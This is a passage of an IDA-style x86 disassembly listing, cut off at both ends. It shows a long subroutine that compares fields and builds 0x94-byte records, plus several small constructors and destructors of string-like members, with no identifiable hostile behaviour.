var_38		= byte ptr -38h
var_18		= byte ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	43AF2Dh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_13AB824
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_13AB824
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_13AB824
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_13AB824
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_13AB824
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_13ABF36
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_13ABBE4
		push	eax
		mov	ecx, edi
		call	sub_13AB6EE
		lea	ecx, [ebp+4]
		call	sub_13ABBE4
		push	eax
		mov	ecx, edi
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13C6C4C
		push	offset dword_443600
		lea	eax, [esp+130h+var_FC]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		lea	ecx, [esp+138h+var_90]
		mov	[esp+138h+var_18], 6
		push	ecx
		mov	ecx, eax
		call	sub_13ABA81
		push	eax
		call	sub_13ABD38
		add	esp, 8
		lea	ecx, [esp+138h+var_108]
		test	al, al
		setz	[esp+138h+var_125]
		mov	[esp+138h+var_18], bl
		call	sub_13AB626
		mov	al, [esp+138h+var_125]
		test	al, al
		jnz	loc_13C75B1
		lea	edx, [esp+138h+var_7B]
		lea	ecx, [esp+138h+var_120]
		push	edx
		call	sub_13AC3BE
		push	offset dword_443CA4
		lea	ecx, [esp+140h+var_124]
		call	sub_13ABE9B
		mov	eax, [esp+140h+var_44]
		lea	ecx, [esp+140h+var_128]
		push	eax
		call	sub_13AB540
		lea	ecx, [esp+144h+var_44]
		push	ecx
		lea	ecx, [esp+148h+var_FC]
		call	sub_13AC3BE
		push	1
		push	offset dword_443600
		lea	edx, [esp+150h+var_118]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_13AB5EA
		push	eax
		lea	ecx, [esp+15Ch+var_F8]
		mov	[esp+15Ch+var_38], 7
		call	sub_13AC3BE
		lea	ecx, [esp+15Ch+var_12C]
		mov	[esp+15Ch+var_3C], bl
		call	sub_13AB626
		push	94h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+15Ch+var_148], eax
		test	eax, eax
		mov	[esp+15Ch+var_3C], 8
		jz	short loc_13C6BDC
		mov	ecx, eax
		call	sub_13AC5C6
		mov	edi, eax
		jmp	short loc_13C6BDE
; ---------------------------------------------------------------------------


loc_13C6BDC:				; CODE XREF: sub_13C6A20+1AFj
		xor	edi, edi


loc_13C6BDE:				; CODE XREF: sub_13C6A20+1BAj
		lea	eax, [esp+15Ch+var_144]
		lea	ecx, [edi+11h]
		push	eax
		mov	[esp+160h+var_3C], bl
		call	sub_13AC3BE
		lea	ecx, [esp+160h+var_118]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_13AC3BE
		lea	edx, [esp+164h+var_104]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_13AC3BE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_13AC3BE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_13AB7D4


loc_13C6C4C:				; CODE XREF: sub_13C6A20+C0j
		lea	ecx, [ebp+60h]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13C6DCB
		push	offset dword_443600
		lea	eax, [esp+174h+var_140]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		lea	ecx, [esp+17Ch+var_D4]
		mov	[esp+17Ch+var_5C], 9
		push	ecx
		mov	ecx, eax
		call	sub_13ABA81
		push	eax
		call	sub_13ABD38
		add	esp, 8
		lea	ecx, [esp+17Ch+var_14C]
		test	al, al
		setz	[esp+17Ch+var_169]
		mov	[esp+17Ch+var_5C], bl
		call	sub_13AB626
		mov	al, [esp+17Ch+var_169]
		test	al, al
		jnz	loc_13C75B1
		lea	edx, [esp+17Ch+var_BF]
		lea	ecx, [esp+17Ch+var_164]
		push	edx
		call	sub_13AC3BE
		push	offset dword_443CA4
		lea	ecx, [esp+184h+var_168]
		call	sub_13ABE9B
		mov	eax, [esp+184h+var_88]
		lea	ecx, [esp+184h+var_16C]
		push	eax
		call	sub_13AB540
		lea	ecx, [esp+188h+var_88]
		push	ecx
		lea	ecx, [esp+18Ch+var_140]
		call	sub_13AC3BE
		push	1
		push	offset dword_443600
		lea	edx, [esp+194h+var_15C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_13AB5EA
		push	eax
		lea	ecx, [esp+1A0h+var_13C]
		mov	[esp+1A0h+var_7C], 0Ah
		call	sub_13AC3BE
		lea	ecx, [esp+1A0h+var_170]
		mov	[esp+1A0h+var_80], bl
		call	sub_13AB626
		push	94h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+1A0h+var_18C], eax
		test	eax, eax
		mov	[esp+1A0h+var_80], 0Bh
		jz	short loc_13C6D5B
		mov	ecx, eax
		call	sub_13AC5C6
		mov	edi, eax
		jmp	short loc_13C6D5D
; ---------------------------------------------------------------------------


loc_13C6D5B:				; CODE XREF: sub_13C6A20+32Ej
		xor	edi, edi


loc_13C6D5D:				; CODE XREF: sub_13C6A20+339j
		lea	eax, [esp+1A0h+var_188]
		lea	ecx, [edi+11h]
		push	eax
		mov	[esp+1A4h+var_80], bl
		call	sub_13AC3BE
		lea	ecx, [esp+1A4h+var_15C]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_13AC3BE
		lea	edx, [esp+1A8h+var_148]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_13AC3BE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_13AC3BE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_13AB7D4


loc_13C6DCB:				; CODE XREF: sub_13C6A20+23Fj
		lea	ecx, [ebp+32h]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13C7006
		push	offset dword_443600
		lea	eax, [esp+1B8h+var_184]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		lea	ecx, [esp+1C0h+var_118]
		mov	[esp+1C0h+var_A0], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_13ABA81
		push	eax
		call	sub_13ABD38
		add	esp, 8
		lea	ecx, [esp+1C0h+var_190]
		test	al, al
		setz	[esp+1C0h+var_1AD]
		mov	[esp+1C0h+var_A0], bl
		call	sub_13AB626
		mov	al, [esp+1C0h+var_1AD]
		test	al, al
		jnz	loc_13C75B1
		lea	edx, [esp+1C0h+var_103]
		lea	ecx, [esp+1C0h+var_1A8]
		push	edx
		call	sub_13AC3BE
		push	offset dword_443CA4
		lea	ecx, [esp+1C8h+var_1AC]
		call	sub_13ABE9B
		mov	eax, [esp+1C8h+var_CC]
		lea	ecx, [esp+1C8h+var_1B0]
		push	eax
		call	sub_13AB540
		lea	ecx, [esp+1CCh+var_CC]
		push	ecx
		lea	ecx, [esp+1D0h+var_184]
		call	sub_13AC3BE
		push	1
		push	offset dword_443600
		lea	edx, [esp+1D8h+var_1A0]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_13AB5EA
		push	eax
		lea	ecx, [esp+1E4h+var_180]
		mov	[esp+1E4h+var_C0], 0Dh
		call	sub_13AC3BE
		lea	ecx, [esp+1E4h+var_1B4]
		mov	[esp+1E4h+var_C4], bl
		call	sub_13AB626
		push	offset dword_443600
		lea	eax, [esp+1E8h+var_1B4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		push	offset word_4475AA
		mov	ecx, eax
		mov	[esp+1F4h+var_D0], 0Eh
		call	sub_13ABF72
		test	eax, eax
		lea	ecx, [esp+1F4h+var_1C4]
		mov	byte ptr [esp+1F4h+var_D4], bl
		setz	[esp+1F4h+var_1E1]
		call	sub_13AB626
		mov	al, [esp+1F4h+var_1E1]
		test	al, al
		jz	short loc_13C6F6E
		lea	ecx, [esp+1F4h+var_14C]
		mov	byte ptr [esp+1F4h+var_D4], 4
		call	sub_13AB8B0
		lea	ecx, [esp+1F4h+var_194]
		mov	byte ptr [esp+1F4h+var_D4], 3
		call	sub_13AB626
		lea	ecx, [esp+1F4h+var_164]
		mov	byte ptr [esp+1F4h+var_D4], 2
		call	sub_13AB626
		lea	ecx, [esp+1F4h+var_17C]
		mov	byte ptr [esp+1F4h+var_D4], 1
		call	sub_13AB626
		lea	ecx, [esp+1F4h+var_1AC]
		mov	byte ptr [esp+1F4h+var_D4], 0
		call	sub_13AB626
		lea	ecx, [esp+1F4h+var_1DC]
		mov	[esp+1F4h+var_D4], 0FFFFFFFFh
		call	sub_13AB626
		xor	al, al
		jmp	loc_13C7622
; ---------------------------------------------------------------------------


loc_13C6F6E:				; CODE XREF: sub_13C6A20+4D6j
		push	94h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+1F4h+var_1E0], eax
		test	eax, eax
		mov	byte ptr [esp+1F4h+var_D4], 0Fh
		jz	short loc_13C6F96
		mov	ecx, eax
		call	sub_13AC5C6
		mov	edi, eax
		jmp	short loc_13C6F98
; ---------------------------------------------------------------------------


loc_13C6F96:				; CODE XREF: sub_13C6A20+569j
		xor	edi, edi


loc_13C6F98:				; CODE XREF: sub_13C6A20+574j
		lea	ecx, [esp+1F4h+var_1DC]
		mov	byte ptr [esp+1F4h+var_D4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_13AC3BE
		lea	edx, [esp+1F8h+var_1B0]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_13AC3BE
		lea	eax, [esp+1FCh+var_19C]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_13AC3BE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_13AC3BE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_13AB7D4


loc_13C7006:				; CODE XREF: sub_13C6A20+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13C71AB
		push	offset dword_443600
		lea	ecx, [esp+20Ch+var_1D8]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		lea	edx, [esp+214h+var_16C]
		mov	ecx, eax
		push	edx
		mov	[esp+218h+var_F4], 10h
		call	sub_13ABA81
		push	eax
		call	sub_13ABD38
		add	esp, 8
		lea	ecx, [esp+214h+var_1E4]
		test	al, al
		setz	[esp+214h+var_201]
		mov	[esp+214h+var_F4], bl
		call	sub_13AB626
		mov	al, [esp+214h+var_201]
		test	al, al
		jnz	loc_13C75B1
		lea	eax, [esp+214h+var_142]
		lea	ecx, [esp+214h+var_19C]
		push	eax
		call	sub_13AC3BE
		lea	ecx, [esp+218h+var_131]
		push	ecx
		lea	ecx, [esp+21Ch+var_188]
		call	sub_13AC3BE
		lea	edx, [esp+21Ch+var_15F]
		lea	ecx, [esp+21Ch+var_204]
		push	edx
		call	sub_13AC3BE
		lea	eax, [esp+220h+var_120]
		lea	ecx, [esp+220h+var_1D8]
		push	eax
		call	sub_13AC3BE
		push	1
		push	offset dword_443600
		lea	ecx, [esp+22Ch+var_1F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_13AB5EA
		push	eax
		lea	ecx, [esp+238h+var_1D4]
		mov	[esp+238h+var_114], 11h
		call	sub_13AC3BE
		lea	ecx, [esp+238h+var_208]
		mov	[esp+238h+var_118], bl
		call	sub_13AB626
		push	94h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+238h+var_224], eax
		test	eax, eax
		mov	[esp+238h+var_118], 12h
		jz	short loc_13C711E
		mov	ecx, eax
		call	sub_13AC5C6
		mov	edi, eax
		jmp	short loc_13C7120
; ---------------------------------------------------------------------------


loc_13C711E:				; CODE XREF: sub_13C6A20+6F1j
		xor	edi, edi


loc_13C7120:				; CODE XREF: sub_13C6A20+6FCj
		lea	edx, [esp+238h+var_220]
		lea	ecx, [edi+11h]
		push	edx
		mov	[esp+23Ch+var_118], bl
		call	sub_13AC3BE
		lea	eax, [esp+23Ch+var_1F4]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_13AC3BE
		lea	ecx, [esp+240h+var_1E0]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_13AC3BE
		lea	edx, [esp+244h+var_1CC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_13AC3BE
		lea	eax, [esp+248h+var_1B8]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_13AC3BE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_13AC3BE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_13AB7D4


loc_13C71AB:				; CODE XREF: sub_13C6A20+5FCj
		lea	ecx, [ebp+118h]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13C7350
		push	offset dword_443600
		lea	ecx, [esp+258h+var_224]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		lea	edx, [esp+260h+var_1B8]
		mov	ecx, eax
		push	edx
		mov	[esp+264h+var_140], 13h
		call	sub_13ABA81
		push	eax
		call	sub_13ABD38
		add	esp, 8
		lea	ecx, [esp+260h+var_230]
		test	al, al
		setz	[esp+260h+var_24D]
		mov	[esp+260h+var_140], bl
		call	sub_13AB626
		mov	al, [esp+260h+var_24D]
		test	al, al
		jnz	loc_13C75B1
		lea	eax, [esp+260h+var_18E]
		lea	ecx, [esp+260h+var_1E8]
		push	eax
		call	sub_13AC3BE
		lea	ecx, [esp+264h+var_17D]
		push	ecx
		lea	ecx, [esp+268h+var_1D4]
		call	sub_13AC3BE
		lea	edx, [esp+268h+var_1AB]
		lea	ecx, [esp+268h+var_250]
		push	edx
		call	sub_13AC3BE
		lea	eax, [esp+26Ch+var_16C]
		lea	ecx, [esp+26Ch+var_224]
		push	eax
		call	sub_13AC3BE
		push	1
		push	offset dword_443600
		lea	ecx, [esp+278h+var_240]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_13AB5EA
		push	eax
		lea	ecx, [esp+284h+var_220]
		mov	[esp+284h+var_160], 14h
		call	sub_13AC3BE
		lea	ecx, [esp+284h+var_254]
		mov	[esp+284h+var_164], bl
		call	sub_13AB626
		push	94h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+284h+var_270], eax
		test	eax, eax
		mov	[esp+284h+var_164], 15h
		jz	short loc_13C72C3
		mov	ecx, eax
		call	sub_13AC5C6
		mov	edi, eax
		jmp	short loc_13C72C5
; ---------------------------------------------------------------------------


loc_13C72C3:				; CODE XREF: sub_13C6A20+896j
		xor	edi, edi


loc_13C72C5:				; CODE XREF: sub_13C6A20+8A1j
		lea	edx, [esp+284h+var_26C]
		lea	ecx, [edi+11h]
		push	edx
		mov	[esp+288h+var_164], bl
		call	sub_13AC3BE
		lea	eax, [esp+288h+var_240]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_13AC3BE
		lea	ecx, [esp+28Ch+var_22C]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_13AC3BE
		lea	edx, [esp+290h+var_218]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_13AC3BE
		lea	eax, [esp+294h+var_204]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_13AC3BE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_13AC3BE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_13AB7D4


loc_13C7350:				; CODE XREF: sub_13C6A20+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13C75B1
		push	offset dword_443600
		lea	ecx, [esp+2A4h+var_270]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		lea	edx, [esp+2ACh+var_204]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+2B0h+var_18C], 16h
		call	sub_13ABA81
		push	eax
		call	sub_13ABD38
		add	esp, 8
		lea	ecx, [esp+2ACh+var_27C]
		test	al, al
		setz	[esp+2ACh+var_299]
		mov	byte ptr [esp+2ACh+var_18C], bl
		call	sub_13AB626
		mov	al, [esp+2ACh+var_299]
		test	al, al
		jnz	loc_13C75B1
		lea	eax, [esp+2ACh+var_1DA]
		lea	ecx, [esp+2ACh+var_234]
		push	eax
		call	sub_13AC3BE
		lea	ecx, [esp+2B0h+var_1C9]
		push	ecx
		lea	ecx, [esp+2B4h+var_220]
		call	sub_13AC3BE
		lea	edx, [esp+2B4h+var_1F7]
		lea	ecx, [esp+2B4h+var_29C]
		push	edx
		call	sub_13AC3BE
		lea	eax, [esp+2B8h+var_1B8]
		lea	ecx, [esp+2B8h+var_270]
		push	eax
		call	sub_13AC3BE
		push	1
		push	offset dword_443600
		lea	ecx, [esp+2C4h+var_28C]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_13AB5EA
		push	eax
		lea	ecx, [esp+2D0h+var_26C]
		mov	[esp+2D0h+var_1AC], 17h
		call	sub_13AC3BE
		lea	ecx, [esp+2D0h+var_2A0]
		mov	[esp+2D0h+var_1B0], bl
		call	sub_13AB626
		push	offset dword_443600
		lea	edx, [esp+2D4h+var_2A0]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		push	offset word_4475AA
		mov	ecx, eax
		mov	[esp+2E0h+var_1BC], 18h
		call	sub_13ABF72
		test	eax, eax
		lea	ecx, [esp+2E0h+var_2B0]
		mov	byte ptr [esp+2E0h+var_1C0], bl
		setz	[esp+2E0h+var_2CD]
		call	sub_13AB626
		mov	al, [esp+2E0h+var_2CD]
		test	al, al
		jz	short loc_13C74FC
		lea	ecx, [esp+2E0h+var_238]
		mov	byte ptr [esp+2E0h+var_1C0], 4
		call	sub_13AB8B0
		lea	ecx, [esp+2E0h+var_280]
		mov	byte ptr [esp+2E0h+var_1C0], 3
		call	sub_13AB626
		lea	ecx, [esp+2E0h+var_250]
		mov	byte ptr [esp+2E0h+var_1C0], 2
		call	sub_13AB626
		lea	ecx, [esp+2E0h+var_268]
		mov	byte ptr [esp+2E0h+var_1C0], 1
		call	sub_13AB626
		lea	ecx, [esp+2E0h+var_298]
		mov	byte ptr [esp+2E0h+var_1C0], 0
		call	sub_13AB626
		lea	ecx, [esp+2E0h+var_2C8]
		mov	[esp+2E0h+var_1C0], 0FFFFFFFFh
		call	sub_13AB626
		xor	al, al
		jmp	loc_13C7622
; ---------------------------------------------------------------------------


loc_13C74FC:				; CODE XREF: sub_13C6A20+A64j
		push	94h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+2E0h+var_2CC], eax
		test	eax, eax
		mov	byte ptr [esp+2E0h+var_1C0], 19h
		jz	short loc_13C7524
		mov	ecx, eax
		call	sub_13AC5C6
		mov	edi, eax
		jmp	short loc_13C7526
; ---------------------------------------------------------------------------


loc_13C7524:				; CODE XREF: sub_13C6A20+AF7j
		xor	edi, edi


loc_13C7526:				; CODE XREF: sub_13C6A20+B02j
		lea	eax, [esp+2E0h+var_2C8]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+2E4h+var_1C0], bl
		call	sub_13AC3BE
		lea	ecx, [esp+2E4h+var_29C]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_13AC3BE
		lea	edx, [esp+2E8h+var_288]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_13AC3BE
		lea	eax, [esp+2ECh+var_274]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_13AC3BE
		lea	ecx, [esp+2F0h+var_260]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_13AC3BE
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_13AC3BE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_13AB7D4


loc_13C75B1:				; CODE XREF: sub_13C6A20+116j
					; sub_13C6A20+295j ...
		lea	ecx, [esp+2F8h+var_250]
		mov	byte ptr [esp+2F8h+var_1D8], 4
		call	sub_13AB8B0
		lea	ecx, [esp+2F8h+var_298]
		mov	byte ptr [esp+2F8h+var_1D8], 3
		call	sub_13AB626
		lea	ecx, [esp+2F8h+var_268]
		mov	byte ptr [esp+2F8h+var_1D8], 2
		call	sub_13AB626
		lea	ecx, [esp+2F8h+var_280]
		mov	byte ptr [esp+2F8h+var_1D8], 1
		call	sub_13AB626
		lea	ecx, [esp+2F8h+var_2B0]
		mov	byte ptr [esp+2F8h+var_1D8], 0
		call	sub_13AB626
		lea	ecx, [esp+2F8h+var_2E0]
		mov	[esp+2F8h+var_1D8], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, 1


loc_13C7622:				; CODE XREF: sub_13C6A20+549j
					; sub_13C6A20+AD7j
		mov	ecx, [esp+2F8h+var_1E0]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_13C6A20	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C7950	proc near		; CODE XREF: sub_13ABF36j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43AFB9h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AB824
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_13AB824
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB824
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB824
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13AB824
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C7950	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C79E0	proc near		; CODE XREF: sub_13AB8B0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43AFF9h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_13AB626
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB626
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB626
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB626
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C79E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C7A80	proc near		; CODE XREF: sub_13AC5C6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B04Fh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC26A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_13AB824
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB824
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB824
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13AB824
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13AB824
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_13AB824
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C7A80	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C7B40	proc near		; CODE XREF: .idata:013AB568j
					; sub_13ABDE7j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AB9C3
		test	[esp+4+arg_0], 1
		jz	short loc_13C7B58
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13C7B58:				; CODE XREF: sub_13C7B40+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13C7B40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C7B70	proc near		; CODE XREF: sub_13AB9C3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B0AFh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	dword_43E0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_13AB626
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13AB626
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13AB626
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB626
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB626
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB626
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AC431
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C7B70	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C7C40	proc near		; CODE XREF: sub_13AC080j

var_AC		= dword	ptr -0ACh
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= byte ptr  4
arg_C		= byte ptr  10h
arg_C0		= byte ptr  0C4h
arg_D0		= byte ptr  0D4h
arg_E0		= byte ptr  0E4h
arg_10A4	= dword	ptr  10A8h
arg_10C4	= byte ptr  10C8h
arg_10D4	= dword	ptr  10D8h
arg_1108	= byte ptr  110Ch
arg_111C	= dword	ptr  1120h
arg_1128	= dword	ptr  112Ch
arg_1134	= dword	ptr  1138h
arg_1138	= dword	ptr  113Ch
arg_1140	= dword	ptr  1144h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	43B112h
		push	eax
		mov	eax, 1158h
